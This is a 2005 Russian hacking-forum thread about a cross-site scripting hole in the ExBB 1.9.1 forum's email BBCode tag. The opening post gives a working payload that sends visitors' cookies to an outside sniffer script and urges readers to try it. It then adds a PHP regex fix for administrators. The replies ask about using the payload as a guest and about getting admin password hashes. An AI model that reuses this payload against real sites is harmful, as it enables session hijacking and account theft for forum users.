XSS ExBB 1.9.1

Discussion in 'Уязвимости' started by Kihamo, 14 Apr 2005.

  1. Kihamo

    Kihamo New Member

    Joined:
    14 Jan 2005
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Ахтунг!
    Недавно в инете появилась инфа о xss в bbcode url, разрабочтик исправил ошибку, но как оказалось не везде =)
    И так поехали. Сразу предупрежу, что данная бага работает только в Internet Explorer :(. Суть состоит в том, что одна из форм записи bbcode email пропускает нужные нам символы, что позволяет выйти за пределы тега. Вот пример XSS
    Code:
    [ email]'style='display:none;background:url(javascript:document.images[2].src="http://you_sniffer_url/sniffer.php?"+document.cookie)[/email]
    
    Думаю, что где и как все это работает объяснять не надо. Так что дерзайте =)
    А теперь инфа добропорядочным юзерам. Раз разработчик думать не хочет, бум думать за него =)
    Открываем файл lib.php и в примерно в 588 строке находим такой код
    Code:
    $post = preg_replace( "#\[email\](\S+?)\[/email\]#i", "<a href='mailto:\\1'>\\1</a>", $post );
    
    и заменяем его на
    Code:
    $post = preg_replace( "#\[email\]([a-z0-9&\-_.]+?@[\w\-]+\.([\w\-\.]+\.)?[\w]+)\[/email\]#i", "<a href='mailto:\\1'>\\1</a>", $post );
    
    За сим усе.
     
  2. BNF

    BNF Elder - Старейшина

    Joined:
    16 Apr 2005
    Messages:
    55
    Likes Received:
    1
    Reputations:
    0
    а если от гостя вставлять этот код то должно работать?
     
  3. White Jordan

    White Jordan Banned

    Joined:
    21 Apr 2005
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    На этом форуме только полный идиот багу найти не сможет. :rolleyes:
     
  4. rsha1988

    rsha1988 Elder - Старейшина

    Joined:
    3 Jan 2005
    Messages:
    230
    Likes Received:
    3
    Reputations:
    0
    хм, ну тогда если ты самый умный то найди багу через которую можно залезть в админ панель или получить хеш админа (разумееться чтоб бага работала на форуме в который админ просто не заходит)...
     
  5. KEZ

    KEZ Guest

    Reputations:
    0
    White Jordan какие проблемы? Почему ты не нашел багу и не выложил ее, не сделал видео? ты хуже идиота?
     
  6. salikin

    salikin New Member

    Joined:
    7 Mar 2005
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    мля, не работает!